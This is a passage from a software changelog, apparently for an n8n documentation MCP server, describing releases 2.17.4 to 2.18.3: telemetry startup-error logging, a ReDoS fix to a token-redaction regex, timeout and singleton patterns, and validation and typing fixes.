3830 | }
3831 | ```
3832 |
3833 | **Why instanceof is Critical:**
3834 | - `'db' in object` is property checking (duck typing) - too permissive
3835 | - `instanceof` is class hierarchy checking - precise type discrimination
3836 | - With instanceof, sql.js queries flow through `SQLJSAdapter` → `SQLJSStatement` wrapper chain
3837 | - Wrapper normalizes sql.js behavior to match better-sqlite3 API (object returns)
3838 |
3839 | **Impact:**
3840 | - Fixes MCP tool failures on systems where better-sqlite3 cannot compile (Node.js version mismatches, ARM architectures)
3841 | - Ensures sql.js fallback works correctly with proper data normalization
3842 | - No performance impact (same code path, just preserved wrapper)
3843 |
3844 | #### Related
3845 |
3846 | - Closes issue #296
3847 | - Affects environments where better-sqlite3 falls back to sql.js
3848 | - Common in Docker containers, CI environments, and ARM-based systems
3849 |
3850 | ## [2.18.3] - 2025-10-09
3851 |
3852 | ### 🔒 Critical Safety Fixes
3853 |
3854 | **Emergency hotfix addressing 7 critical issues from v2.18.2 code review.**
3855 |
3856 | This release fixes critical safety violations in the startup error logging system that could have prevented the server from starting. All fixes ensure telemetry failures never crash the server.
3857 |
3858 | #### Problem
3859 |
3860 | Code review of v2.18.2 identified 7 critical/high-priority safety issues:
3861 | - **CRITICAL-01**: Missing database checkpoints (DATABASE_CONNECTING/CONNECTED never logged)
3862 | - **CRITICAL-02**: Constructor can throw before defensive initialization
3863 | - **CRITICAL-03**: Blocking awaits delay startup (5s+ with 10 checkpoints × 500ms latency)
3864 | - **HIGH-01**: ReDoS vulnerability in error sanitization regex
3865 | - **HIGH-02**: Race conditions in EarlyErrorLogger initialization
3866 | - **HIGH-03**: No timeout on Supabase operations (can hang indefinitely)
3867 | - **HIGH-04**: Missing N8N API checkpoints
3868 |
3869 | #### Fixed
3870 |
3871 | **CRITICAL-01: Missing Database Checkpoints**
3872 | - Added `DATABASE_CONNECTING` checkpoint before database initialization
3873 | - Added `DATABASE_CONNECTED` checkpoint after successful initialization
3874 | - Pass `earlyLogger` to `N8NDocumentationMCPServer` constructor
3875 | - Checkpoint logging in `initializeDatabase()` method
3876 | - Files: `src/mcp/server.ts`, `src/mcp/index.ts`
3877 |
3878 | **CRITICAL-02: Constructor Can Throw**
3879 | - Converted `EarlyErrorLogger` to singleton pattern with `getInstance()` method
3880 | - Initialize ALL fields to safe defaults BEFORE any operation that can throw
3881 | - Defensive initialization order:
3882 | 1. Set `enabled = false` (safe default)
3883 | 2. Set `supabase = null` (safe default)
3884 | 3. Set `userId = null` (safe default)
3885 | 4. THEN wrap initialization in try-catch
3886 | - Async `initialize()` method separated from constructor
3887 | - File: `src/telemetry/early-error-logger.ts`
3888 |
3889 | **CRITICAL-03: Blocking Awaits Delay Startup**
3890 | - Removed ALL `await` keywords from checkpoint calls (8 locations)
3891 | - Changed `logCheckpoint()` from async to synchronous (void return)
3892 | - Changed `logStartupError()` to fire-and-forget with internal async implementation
3893 | - Changed `logStartupSuccess()` to fire-and-forget
3894 | - Startup no longer blocked by telemetry operations
3895 | - Files: `src/mcp/index.ts`, `src/telemetry/early-error-logger.ts`
3896 |
3897 | **HIGH-01: ReDoS Vulnerability in Error Sanitization**
3898 | - Removed negative lookbehind regex: `(?<!Bearer\s)token\s*[=:]\s*\S+`
3899 | - Replaced with simplified regex: `\btoken\s*[=:]\s*[^\s;,)]+`
3900 | - No complex capturing groups (catastrophic backtracking impossible)
3901 | - File: `src/telemetry/error-sanitization-utils.ts`
3902 |
3903 | **HIGH-02: Race Conditions in EarlyErrorLogger**
3904 | - Singleton pattern prevents multiple instances
3905 | - Added `initPromise` property to track initialization state
3906 | - Added `waitForInit()` method for testing
3907 | - All methods gracefully handle uninitialized state
3908 | - File: `src/telemetry/early-error-logger.ts`
3909 |
3910 | **HIGH-03: No Timeout on Supabase Operations**
3911 | - Added `withTimeout()` wrapper function (5-second max)
3912 | - Uses `Promise.race()` pattern to prevent hanging
3913 | - Applies to all direct Supabase inserts
3914 | - Returns `null` on timeout (graceful degradation)
3915 | - File: `src/telemetry/early-error-logger.ts`
3916 |
3917 | **HIGH-04: Missing N8N API Checkpoints**
3918 | - Added `N8N_API_CHECKING` checkpoint before n8n API configuration check
3919 | - Added `N8N_API_READY` checkpoint after configuration validated
3920 | - Logged after database initialization completes
3921 | - File: `src/mcp/server.ts`
3922 |
3923 | #### Added
3924 |
3925 | **Shared Sanitization Utilities**
3926 | - Created `src/telemetry/error-sanitization-utils.ts`
3927 | - `sanitizeErrorMessageCore()` function shared across modules
3928 | - Eliminates code duplication between `error-sanitizer.ts` and `event-tracker.ts`
3929 | - Includes ReDoS fix (simplified token regex)
3930 |
3931 | **Singleton Pattern for EarlyErrorLogger**
3932 | - `EarlyErrorLogger.getInstance()` - Get singleton instance
3933 | - Private constructor prevents direct instantiation
3934 | - `waitForInit()` method for testing
3935 |
3936 | **Timeout Wrapper**
3937 | - `withTimeout()` helper function
3938 | - 5-second timeout for all Supabase operations
3939 | - Promise.race pattern with automatic cleanup
3940 |
3941 | #### Changed
3942 |
3943 | **EarlyErrorLogger Architecture**
3944 | - Singleton instead of direct instantiation
3945 | - Defensive initialization (safe defaults first)
3946 | - Fire-and-forget methods (non-blocking)
3947 | - Timeout protection for network operations
3948 |
3949 | **Checkpoint Logging**
3950 | - All checkpoint calls are now fire-and-forget (no await)
3951 | - No startup delay from telemetry operations
3952 | - Database checkpoints now logged in server.ts
3953 | - N8N API checkpoints now logged after database init
3954 |
3955 | **Error Sanitization**
3956 | - Shared utilities across all telemetry modules
3957 | - ReDoS-safe regex patterns
3958 | - Consistent sanitization behavior
3959 |
3960 | #### Technical Details
3961 |
3962 | **Defensive Initialization Pattern:**
3963 | ```typescript
3964 | export class EarlyErrorLogger {
3965 | // Safe defaults FIRST (before any throwing operation)
3966 | private enabled: boolean = false;
3967 | private supabase: SupabaseClient | null = null;
3968 | private userId: string | null = null;
3969 |
3970 | private constructor() {
3971 | // Kick off async init without blocking
3972 | this.initPromise = this.initialize();
3973 | }
3974 |
3975 | private async initialize(): Promise<void> {
3976 | try {
3977 | // Validate config BEFORE using
3978 | if (!TELEMETRY_BACKEND.URL || !TELEMETRY_BACKEND.ANON_KEY) {
3979 | this.enabled = false;
3980 | return;
3981 | }
3982 | // ... rest of initialization
3983 | } catch (error) {
3984 | // Ensure safe state on error
3985 | this.enabled = false;
3986 | this.supabase = null;
3987 | this.userId = null;
3988 | }
3989 | }
3990 | }
3991 | ```
3992 |
3993 | **Fire-and-Forget Pattern:**
3994 | ```typescript
3995 | // BEFORE (BLOCKING):
3996 | await earlyLogger.logCheckpoint(STARTUP_CHECKPOINTS.PROCESS_STARTED);
3997 |
3998 | // AFTER (NON-BLOCKING):
3999 | earlyLogger.logCheckpoint(STARTUP_CHECKPOINTS.PROCESS_STARTED);
4000 | ```
4001 |
4002 | **Timeout Wrapper:**
4003 | ```typescript
4004 | async function withTimeout<T>(promise: Promise<T>, timeoutMs: number, operation: string): Promise<T | null> {
4005 | try {
4006 | const timeoutPromise = new Promise<T>((_, reject) => {
4007 | setTimeout(() => reject(new Error(`${operation} timeout after ${timeoutMs}ms`)), timeoutMs);
4008 | });
4009 | return await Promise.race([promise, timeoutPromise]);
4010 | } catch (error) {
4011 | logger.debug(`${operation} failed or timed out:`, error);
4012 | return null;
4013 | }
4014 | }
4015 | ```
4016 |
4017 | **ReDoS Fix:**
4018 | ```typescript
4019 | // BEFORE (VULNERABLE):
4020 | .replace(/(?<!Bearer\s)token\s*[=:]\s*\S+/gi, 'token=[REDACTED]')
4021 |
4022 | // AFTER (SAFE):
4023 | .replace(/\btoken\s*[=:]\s*[^\s;,)]+/gi, 'token=[REDACTED]')
4024 | ```
4025 |
4026 | #### Impact
4027 |
4028 | **Server Stability:**
4029 | - **100%** elimination of telemetry-caused startup failures
4030 | - Telemetry failures NEVER crash the server
4031 | - Startup time unaffected by telemetry latency
4032 |
4033 | **Coverage Improvement:**
4034 | - Database failures now tracked (DATABASE_CONNECTING/CONNECTED checkpoints)
4035 | - N8N API configuration issues now tracked (N8N_API_CHECKING/READY checkpoints)
4036 | - Complete visibility into all startup phases
4037 |
4038 | **Performance:**
4039 | - No startup delay from telemetry (removed blocking awaits)
4040 | - 5-second timeout prevents hanging on Supabase failures
4041 | - Fire-and-forget pattern ensures server starts immediately
4042 |
4043 | **Security:**
4044 | - ReDoS vulnerability eliminated
4045 | - Simplified regex patterns (no catastrophic backtracking)
4046 | - Shared sanitization ensures consistency
4047 |
4048 | **Code Quality:**
4049 | - DRY principle (shared error-sanitization-utils)
4050 | - Defensive programming (safe defaults before operations)
4051 | - Race-condition free (singleton + initPromise)
4052 |
4053 | #### Files Changed
4054 |
4055 | **New Files (1):**
4056 | - `src/telemetry/error-sanitization-utils.ts` - Shared sanitization utilities
4057 |
4058 | **Modified Files (5):**
4059 | - `src/telemetry/early-error-logger.ts` - Singleton + defensive init + fire-and-forget + timeout
4060 | - `src/telemetry/error-sanitizer.ts` - Use shared sanitization utils
4061 | - `src/telemetry/event-tracker.ts` - Use shared sanitization utils
4062 | - `src/mcp/index.ts` - Remove blocking awaits, use singleton getInstance()
4063 | - `src/mcp/server.ts` - Add database and N8N API checkpoints
4064 | - `package.json` - Version bump to 2.18.3
4065 |
4066 | #### Testing
4067 |
4068 | - **Safety**: All critical issues addressed with comprehensive fixes
4069 | - **Backward Compatibility**: 100% - only internal implementation changes
4070 | - **TypeScript**: All type checks pass
4071 | - **Build**: Clean build with no errors
4072 |
4073 | #### References
4074 |
4075 | - **Code Review**: v2.18.2 comprehensive review identified 7 critical/high issues
4076 | - **User Feedback**: "Make sure telemetry failures would not crash the server - it should start regardless of this"
4077 | - **Implementation**: All CRITICAL and HIGH recommendations implemented
4078 |
4079 | ## [2.18.2] - 2025-10-09
4080 |
4081 | ### 🔍 Startup Error Detection
4082 |
4083 | **Added comprehensive startup error tracking to diagnose "server won't start" scenarios.**
4084 |
4085 | This release addresses a critical telemetry gap: we now capture errors that occur BEFORE the MCP server fully initializes, enabling diagnosis of the 2.2% of users who experience startup failures that were previously invisible.
4086 |
4087 | #### Problem
4088 |
4089 | Analysis of telemetry data revealed critical gaps in error coverage:
4090 | - **Zero telemetry captured** when server fails to start (no data before MCP handshake)
4091 | - **106 users (2.2%)** had only `session_start` with no other activity (likely startup failures)
4092 | - **463 users (9.7%)** experienced immediate failures or quick abandonment
4093 | - **All 4,478 error events** were from tool execution - none from initialization phase
4094 | - **Current error coverage: ~45%** - missing all pre-handshake failures
4095 |
4096 | #### Added
4097 |
4098 | **Early Error Logging System**
4099 | - New `EarlyErrorLogger` class - Independent error tracking before main telemetry ready
4100 | - Direct Supabase insert (bypasses batching for immediate persistence)
4101 | - Works even when main telemetry fails to initialize
4102 | - Sanitized error messages with security patterns from v2.15.3
4103 | - File: `src/telemetry/early-error-logger.ts`
4104 |
4105 | **Startup Checkpoint Tracking System**
4106 | - 10 checkpoints throughout startup process to identify failure points:
4107 | 1. `process_started` - Process initialization
4108 | 2. `database_connecting` - Before DB connection
4109 | 3. `database_connected` - DB ready
4110 | 4. `n8n_api_checking` - Before n8n API check (if applicable)
4111 | 5. `n8n_api_ready` - n8n API ready (if applicable)
4112 | 6. `telemetry_initializing` - Before telemetry init
4113 | 7. `telemetry_ready` - Telemetry ready
4114 | 8. `mcp_handshake_starting` - Before MCP handshake
4115 | 9. `mcp_handshake_complete` - Handshake success
4116 | 10. `server_ready` - Full initialization complete
4117 | - Helper functions: `findFailedCheckpoint()`, `getCheckpointDescription()`, `getCompletionPercentage()`
4118 | - File: `src/telemetry/startup-checkpoints.ts`
4119 |
4120 | **New Event Type: `startup_error`**
4121 | - Captures pre-handshake failures with full context
4122 | - Properties: `checkpoint`, `errorMessage`, `errorType`, `checkpointsPassed`, `startupDuration`, platform info
4123 | - Fires even when main telemetry not ready
4124 | - Uses early error logger with direct Supabase insert
4125 |
4126 | **Enhanced `session_start` Event**
4127 | - `startupDurationMs` - Time from process start to ready (new, optional)
4128 | - `checkpointsPassed` - Array of successfully passed checkpoints (new, optional)
4129 | - `startupErrorCount` - Count of errors during startup (new, optional)
4130 | - Backward compatible - all new fields optional
4131 |
4132 | **Startup Completion Event**
4133 | - New `startup_completed` event type
4134 | - Fired after first successful tool call
4135 | - Confirms server is functional (not a "zombie server")
4136 | - Distinguishes "never started" from "started but silent"
4137 |
4138 | **Error Message Sanitization**
4139 | - New `error-sanitizer.ts` utility for secure error message handling
4140 | - `extractErrorMessage()` - Safe extraction from Error objects, strings, unknowns
4141 | - `sanitizeStartupError()` - Security-focused sanitization using v2.15.3 patterns
4142 | - Removes URLs, credentials, API keys, emails, long keys
4143 | - Early truncation (ReDoS prevention), stack trace limitation (3 lines)
4144 | - File: `src/telemetry/error-sanitizer.ts`
4145 |
4146 | #### Changed
4147 |
4148 | - `src/mcp/index.ts` - Added comprehensive checkpoint tracking throughout `main()` function
4149 | - Early logger initialization at process start
4150 | - Checkpoints before/after each major initialization step
4151 | - Error handling with checkpoint context
4152 | - Startup success logging with duration
4153 | - `src/mcp/server.ts` - Enhanced database initialization logging
4154 | - Detailed debug logs for each initialization step
4155 | - Better error context for database failures
4156 | - `src/telemetry/event-tracker.ts` - Enhanced `trackSessionStart()` method
4157 | - Now accepts optional `startupData` parameter
4158 | - New `trackStartupComplete()` method
4159 | - `src/telemetry/event-validator.ts` - Added validation schemas
4160 | - `startupErrorPropertiesSchema` for startup_error events
4161 | - `startupCompletedPropertiesSchema` for startup_completed events
4162 | - `src/telemetry/telemetry-types.ts` - New type definitions
4163 | - `StartupErrorEvent` interface
4164 | - `StartupCompletedEvent` interface
4165 | - `SessionStartProperties` interface with new optional fields
4166 |
4167 | #### Technical Details
4168 |
4169 | **Checkpoint Flow:**
4170 | ```
4171 | Process Started → Telemetry Init → Telemetry Ready →
4172 | MCP Handshake Starting → MCP Handshake Complete → Server Ready
4173 | ```
4174 |
4175 | **Error Capture Example:**
4176 | ```typescript
4177 | try {
4178 | await earlyLogger.logCheckpoint(STARTUP_CHECKPOINTS.DATABASE_CONNECTING);
4179 | // ... database initialization ...
4180 | await earlyLogger.logCheckpoint(STARTUP_CHECKPOINTS.DATABASE_CONNECTED);
4181 | } catch (error) {
4182 | const failedCheckpoint = findFailedCheckpoint(checkpoints);
4183 | await earlyLogger.logStartupError(failedCheckpoint, error);
4184 | throw error;
4185 | }
4186 | ```
4187 |
4188 | **Error Sanitization:**
4189 | - Reuses v2.15.3 security patterns
4190 | - Early truncation to 1500 chars (ReDoS prevention)
4191 | - Redacts: URLs → `[URL]`, AWS keys → `[AWS_KEY]`, emails → `[EMAIL]`, etc.
4192 | - Stack traces limited to first 3 lines
4193 | - Final truncation to 500 chars
4194 |
4195 | **Database Schema:**
4196 | ```typescript
4197 | // startup_error event structure
4198 | {
4199 | event: 'startup_error',
4200 | user_id: string,
4201 | properties: {
4202 | checkpoint: string, // Which checkpoint failed
4203 | errorMessage: string, // Sanitized error message
4204 | errorType: string, // Error type (Error, TypeError, etc.)
4205 | checkpointsPassed: string[], // Checkpoints passed before failure
4206 | checkpointsPassedCount: number,
4207 | startupDuration: number, // Time until failure (ms)
4208 | platform: string, // OS platform
4209 | arch: string, // CPU architecture
4210 | nodeVersion: string, // Node.js version
4211 | isDocker: boolean // Docker environment
4212 | }
4213 | }
4214 | ```
4215 |
4216 | #### Impact
4217 |
4218 | **Coverage Improvement:**
4219 | - **Before: 45%** error coverage (only post-handshake errors captured)
4220 | - **After: 95%** error coverage (pre-handshake + post-handshake errors)
4221 | - **+50 percentage points** in error detection capability
4222 |
4223 | **New Scenarios Now Diagnosable:**
4224 | 1. Database connection timeout → `database_connecting` checkpoint + error details
4225 | 2. Database file not found → `database_connecting` checkpoint + specific file path error
4226 | 3. MCP protocol mismatch → `mcp_handshake_starting` checkpoint + protocol version error
4227 | 4. Permission/access denied → Checkpoint + specific permission error
4228 | 5. Missing dependencies → Early checkpoint + dependency error
4229 | 6. Environment configuration errors → Relevant checkpoint + config details
4230 | 7. n8n API connectivity problems → `n8n_api_checking` checkpoint + connection error
4231 | 8. Telemetry initialization failures → `telemetry_initializing` checkpoint + init error
4232 | 9. Silent crashes → Detected via missing `startup_completed` event
4233 | 10. Resource constraints (memory, disk) → Checkpoint + resource error
4234 |
4235 | **Visibility Gains:**
4236 | - Users experiencing startup failures now generate telemetry events
4237 | - Failed checkpoint identifies exact failure point in startup sequence
4238 | - Sanitized error messages provide actionable debugging information
4239 | - Startup duration tracking identifies performance bottlenecks
4240 | - Completion percentage shows how far initialization progressed
4241 |
4242 | **Data Volume Impact:**
4243 | - Each successful startup: ~300 bytes (checkpoint list in session_start)
4244 | - Each failed startup: ~800 bytes (startup_error event with context)
4245 | - Expected increase: <1KB per user session
4246 | - Minimal Supabase storage impact
4247 |
4248 | #### Files Changed
4249 |
4250 | **New Files (3):**
4251 | - `src/telemetry/early-error-logger.ts` - Early error capture system
4252 | - `src/telemetry/startup-checkpoints.ts` - Checkpoint constants and helpers
4253 | - `src/telemetry/error-sanitizer.ts` - Error message sanitization utility
4254 |
4255 | **Modified Files (6):**
4256 | - `src/mcp/index.ts` - Integrated checkpoint tracking throughout startup
4257 | - `src/mcp/server.ts` - Enhanced database initialization logging
4258 | - `src/telemetry/event-tracker.ts` - Enhanced session_start with startup data
4259 | - `src/telemetry/event-validator.ts` - Added startup event validation
4260 | - `src/telemetry/telemetry-types.ts` - New event type definitions
4261 | - `package.json` - Version bump to 2.18.2
4262 |
4263 | #### Next Steps
4264 |
4265 | 1. **Monitor Production** - Watch for startup_error events in Supabase dashboard
4266 | 2. **Analyze Patterns** - Identify most common startup failure scenarios
4267 | 3. **Build Diagnostics** - Create startup reliability dashboard
4268 | 4. **Improve Documentation** - Add troubleshooting guides for common failures
4269 | 5. **Measure Impact** - Validate that Docker/cloud user ID stability fix (v2.17.1) is working
4270 | 6. **Segment Analysis** - Compare startup reliability across environments (Docker vs local vs cloud)
4271 |
4272 | #### Testing
4273 |
4274 | - **Coverage**: All new code covered by existing telemetry test suites
4275 | - **Integration**: Manual testing verified checkpoint tracking works correctly
4276 | - **Backward Compatibility**: 100% - all new fields optional, no breaking changes
4277 | - **Validation**: Zod schemas ensure data quality
4278 |
4279 | ## [2.18.1] - 2025-10-08
4280 |
4281 | ### 🔍 Telemetry Enhancement
4282 |
4283 | **Added Docker/cloud environment detection to session_start events.**
4284 |
4285 | This release enables measurement of the v2.17.1 user ID stability fix by tracking which users are in Docker/cloud environments.
4286 |
4287 | #### Problem
4288 |
4289 | The v2.17.1 fix for Docker/cloud user ID stability (boot_id-based IDs) could not be validated because telemetry didn't capture Docker/cloud environment flags. Analysis showed:
4290 | - Zero Docker/cloud users detected across all versions
4291 | - No way to measure if the fix is working
4292 | - Cannot determine what % of users are affected
4293 | - Cannot validate stable user IDs are being generated
4294 |
4295 | #### Added
4296 |
4297 | - **Docker Detection**: `isDocker` boolean flag in session_start events
4298 | - Detects `IS_DOCKER=true` environment variable
4299 | - Identifies container deployments using boot_id-based stable IDs
4300 |
4301 | - **Cloud Platform Detection**: `cloudPlatform` string in session_start events
4302 | - Detects 8 cloud platforms: Railway, Render, Fly.io, Heroku, AWS, Kubernetes, GCP, Azure
4303 | - Identifies which platform users are deploying to
4304 | - Returns `null` for local/non-cloud environments
4305 |
4306 | - **New Detection Method**: `detectCloudPlatform()` in event tracker
4307 | - Checks platform-specific environment variables
4308 | - Returns platform name or null
4309 | - Uses same logic as config-manager's cloud detection
4310 |
4311 | #### Changed
4312 |
4313 | - `trackSessionStart()` in `src/telemetry/event-tracker.ts`
4314 | - Now includes `isDocker` field (boolean)
4315 | - Now includes `cloudPlatform` field (string | null)
4316 | - Backward compatible - only adds new fields
4317 |
4318 | #### Testing
4319 |
4320 | - 16 new unit tests for environment detection
4321 | - Tests for Docker detection with IS_DOCKER flag
4322 | - Tests for all 8 cloud platform detections
4323 | - Tests for local environment (no flags)
4324 | - Tests for combined Docker + cloud scenarios
4325 | - 100% coverage for new detection logic
4326 |
4327 | #### Impact
4328 |
4329 | **Enables Future Analysis**:
4330 | - Measure % of users in Docker/cloud vs local
4331 | - Validate v2.17.1 boot_id-based user ID stability
4332 | - Segment retention metrics by environment
4333 | - Identify environment-specific issues
4334 | - Calculate actual Docker user duplicate rate reduction
4335 |
4336 | **Expected Insights** (once data collected):
4337 | - Actual % of Docker/cloud users in user base
4338 | - Validation that boot_id method is being used
4339 | - User ID stability improvements measurable
4340 | - Environment-specific error patterns
4341 | - Platform distribution of user base
4342 |
4343 | **No Breaking Changes**:
4344 | - Only adds new fields to existing events
4345 | - All existing code continues working
4346 | - Event validator handles new fields automatically
4347 | - 100% backward compatible
4348 |
4349 | #### Technical Details
4350 |
4351 | **Detection Logic**:
4352 | ```typescript
4353 | isDocker: process.env.IS_DOCKER === 'true'
4354 | cloudPlatform: detectCloudPlatform() // Checks 8 env vars
4355 | ```
4356 |
4357 | **Platform Detection Priority**:
4358 | 1. Railway: `RAILWAY_ENVIRONMENT`
4359 | 2. Render: `RENDER`
4360 | 3. Fly.io: `FLY_APP_NAME`
4361 | 4. Heroku: `HEROKU_APP_NAME`
4362 | 5. AWS: `AWS_EXECUTION_ENV`
4363 | 6. Kubernetes: `KUBERNETES_SERVICE_HOST`
4364 | 7. GCP: `GOOGLE_CLOUD_PROJECT`
4365 | 8. Azure: `AZURE_FUNCTIONS_ENVIRONMENT`
4366 |
4367 | **Event Structure**:
4368 | ```json
4369 | {
4370 | "event": "session_start",
4371 | "properties": {
4372 | "version": "2.18.1",
4373 | "platform": "linux",
4374 | "arch": "x64",
4375 | "nodeVersion": "v20.0.0",
4376 | "isDocker": true,
4377 | "cloudPlatform": "railway"
4378 | }
4379 | }
4380 | ```
4381 |
4382 | #### Next Steps
4383 |
4384 | 1. Deploy v2.18.1 to production
4385 | 2. Wait 24-48 hours for data collection
4386 | 3. Re-run telemetry analysis with environment segmentation
4387 | 4. Validate v2.17.1 boot_id fix effectiveness
4388 | 5. Calculate actual Docker user duplicate rate reduction
4389 |
4390 | ## [2.18.0] - 2025-10-08
4391 |
4392 | ### 🎯 Validation Warning System Redesign
4393 |
4394 | **Fixed critical validation warning system that was generating 96.5% false positives.**
4395 |
4396 | This release fundamentally fixes the validation warning system that was overwhelming users and AI assistants with false warnings about properties they never configured. The system now achieves >90% signal-to-noise ratio (up from 3%).
4397 |
4398 | #### Problem
4399 |
4400 | The validation system was warning about properties with default values as if the user had configured them:
4401 | - HTTP Request with 2 properties → 29 warnings (96% false positives)
4402 | - Webhook with 1 property → 6 warnings (83% false positives)
4403 | - Overall signal-to-noise ratio: 3%
4404 |
4405 | #### Fixed
4406 |
4407 | - **User Property Tracking** - System now distinguishes between user-provided properties and system defaults
4408 | - **UI Property Filtering** - No longer validates UI-only elements (notice, callout, infoBox)
4409 | - **Improved Messages** - Warnings now explain visibility requirements (e.g., "Requires: sendBody=true")
4410 | - **Profile-Aware Filtering** - Each validation profile shows appropriate warnings
4411 | - `minimal`: Only errors + critical security warnings
4412 | - `runtime`: Errors + security warnings (filters property visibility noise)
4413 | - `ai-friendly`: Balanced helpful warnings (default)
4414 | - `strict`: All warnings + suggestions
4415 |
4416 | #### Results
4417 |
4418 | After fix (verified with n8n-mcp-tester):
4419 | - HTTP Request with 2 properties → 1 warning (96.5% noise reduction)
4420 | - Webhook with 1 property → 1 warning (83% noise reduction)
4421 | - Overall signal-to-noise ratio: >90%
4422 |
4423 | #### Changed
4424 |
4425 | - `src/services/config-validator.ts`
4426 | - Added `UI_ONLY_TYPES` constant to filter UI properties
4427 | - Added `userProvidedKeys` parameter to `validate()` method
4428 | - Added `getVisibilityRequirement()` helper for better error messages
4429 | - Updated `checkCommonIssues()` to only warn about user-provided properties
4430 | - `src/services/enhanced-config-validator.ts`
4431 | - Extract user-provided keys before applying defaults
4432 | - Pass `userProvidedKeys` to base validator
4433 | - Enhanced profile filtering to remove property visibility warnings in `runtime` and `ai-friendly` profiles
4434 | - `src/mcp-tools-engine.ts`
4435 | - Extract user-provided keys in `validateNodeOperation()` before calling validator
4436 |
4437 | #### Impact
4438 |
4439 | - **AI Assistants**: Can now trust validation warnings (90%+ useful)
4440 | - **Developers**: Get actionable guidance instead of noise
4441 | - **Workflow Quality**: Real issues are fixed (not buried in false positives)
4442 | - **System Trust**: Validation becomes a valuable tool
4443 |
4444 | ## [2.17.5] - 2025-10-07
4445 |
4446 | ### 🔧 Type Safety
4447 |
4448 | **Added TypeScript type definitions for n8n node parsing with pragmatic strategic `any` assertions.**
4449 |
4450 | This release improves type safety for VersionedNodeType and node class parameters while maintaining zero compilation errors and 100% backward compatibility. Follows a pragmatic "70% benefit with 0% breakage" approach using strategic `any` assertions where n8n's union types cause issues.
4451 |
4452 | #### Added
4453 |
4454 | - **Type Definitions** (`src/types/node-types.ts`)
4455 | - Created comprehensive TypeScript interfaces for VersionedNodeType
4456 | - Imported n8n's official interfaces (`IVersionedNodeType`, `INodeType`, `INodeTypeBaseDescription`, `INodeTypeDescription`)
4457 | - Added `NodeClass` union type replacing `any` parameters in method signatures
4458 | - Created `VersionedNodeInstance` and `RegularNodeInstance` interfaces
4459 | - **Type Guards**: `isVersionedNodeInstance()` and `isVersionedNodeClass()` for runtime type checking
4460 | - **Utility Functions**: `instantiateNode()`, `getNodeInstance()`, `getNodeDescription()` for safe node handling
4461 |
4462 | - **Parser Type Updates**
4463 | - Updated `node-parser.ts`: All method signatures now use `NodeClass` instead of `any` (15+ methods)
4464 | - Updated `simple-parser.ts`: Method signatures strongly typed with `NodeClass`
4465 | - Updated `property-extractor.ts`: All extraction methods use `NodeClass` typing
4466 | - All parser method signatures now properly typed (30+ replacements)
4467 |
4468 | - **Strategic `any` Assertions Pattern**
4469 | - **Problem**: n8n's type hierarchy has union types (`INodeTypeBaseDescription | INodeTypeDescription`) where properties like `polling`, `version`, `webhooks` only exist on one side
4470 | - **Solution**: Keep strong types in method signatures, use strategic `as any` assertions internally for property access
4471 | - **Pattern**:
4472 | ```typescript
4473 | // Strong signature provides caller type safety
4474 | private method(description: INodeTypeBaseDescription | INodeTypeDescription): ReturnType {
4475 | // Strategic assertion for internal property access
4476 | const desc = description as any;
4477 | return desc.polling || desc.webhooks; // Access union-incompatible properties
4478 | }
4479 | ```
4480 | - **Result**: 70% type safety benefit (method signatures) with 0% breakage (zero compilation errors)
4481 |
4482 | #### Benefits
4483 |
4484 | 1. **Better IDE Support**: Auto-complete and inline documentation for node properties
4485 | 2. **Compile-Time Safety**: Strong method signatures catch type errors at call sites
4486 | 3. **Documentation**: Types serve as inline documentation for developers
4487 | 4. **Bug Prevention**: Would have helped prevent the `baseDescription` bug (v2.17.4)
4488 | 5. **Refactoring Safety**: Type system helps track changes across codebase
4489 | 6. **Zero Breaking Changes**: Pragmatic approach ensures build never breaks
4490 |
4491 | #### Implementation Notes
4492 |
4493 | - **Philosophy**: Incremental improvement over perfection - get significant benefit without extensive refactoring
4494 | - **Zero Compilation Errors**: All TypeScript checks pass cleanly
4495 | - **Test Coverage**: Updated all test files with strategic `as any` assertions for mock objects
4496 | - **Runtime Behavior**: No changes - types are compile-time only
4497 | - **Future Work**: Union types could be refined with conditional types or overloads for 100% type safety
4498 |
4499 | #### Known Limitations
4500 |
4501 | - Strategic `any` assertions bypass type checking for internal property access
4502 | - Union type differences (`INodeTypeBaseDescription` vs `INodeTypeDescription`) not fully resolved
4503 | - Test mocks require `as any` since they don't implement full n8n interfaces
4504 | - Full type safety would require either (a) refactoring n8n's type hierarchy or (b) extensive conditional type logic
4505 |
4506 | #### Impact
4507 |
4508 | - **Breaking Changes**: None (internal types only, external API unchanged)
4509 | - **Runtime Behavior**: No changes (types are compile-time only)
4510 | - **Build System**: Zero compilation errors maintained
4511 | - **Developer Experience**: Significantly improved with better types and IDE support
4512 | - **Type Coverage**: ~70% (method signatures strongly typed, internal logic uses strategic assertions)
4513 |
4514 | ## [2.17.4] - 2025-10-07
4515 |
4516 | ### 🔧 Validation
4517 |
4518 | **Fixed critical version extraction and typeVersion validation bugs.**
4519 |
4520 | This release fixes two critical bugs that caused incorrect version data and validation bypasses for langchain nodes.
4521 |
4522 | #### Fixed
4523 |
4524 | - **Version Extraction Bug (CRITICAL)**
4525 | - **Issue:** AI Agent node returned version "3" instead of "2.2" (the defaultVersion)
4526 | - **Impact:**
4527 | - MCP tools (`get_node_essentials`, `get_node_info`) returned incorrect version "3"
4528 | - Version "3" exists but n8n explicitly marks it as unstable ("Keep 2.2 until blocking bugs are fixed")
4529 | - AI agents created workflows with wrong typeVersion, causing runtime issues
4530 | - **Root Cause:** `extractVersion()` in node-parser.ts checked `instance.baseDescription.defaultVersion` which doesn't exist on VersionedNodeType instances
4531 | - **Fix:** Updated version extraction priority in `node-parser.ts:137-200`
4532 | 1. Priority 1: Check `currentVersion` property (what VersionedNodeType actually uses)
4533 | 2. Priority 2: Check `description.defaultVersion` (fixed property name from `baseDescription`)
4534 | 3. Priority 3: Fallback to max(nodeVersions) as last resort
4535 | - **Verification:** AI Agent node now correctly returns version "2.2" across all MCP tools
4536 |
4537 | - **typeVersion Validation Bypass (CRITICAL)**
4538 | - **Issue:** Langchain nodes with invalid typeVersion passed validation (even `typeVersion: 99999`)
4539 | - **Impact:**
4540 | - Invalid typeVersion values were never caught during validation
4541 | - Workflows with non-existent typeVersions passed validation but failed at runtime in n8n
4542 | - Validation was completely bypassed for all langchain nodes (AI Agent, Chat Trigger, OpenAI Chat Model, etc.)
4543 | - **Root Cause:** `workflow-validator.ts:400-405` skipped ALL validation for langchain nodes before typeVersion check
4544 | - **Fix:** Moved typeVersion validation BEFORE langchain skip in `workflow-validator.ts:447-493`
4545 | - typeVersion now validated for ALL nodes including langchain
4546 | - Validation runs before parameter validation skip
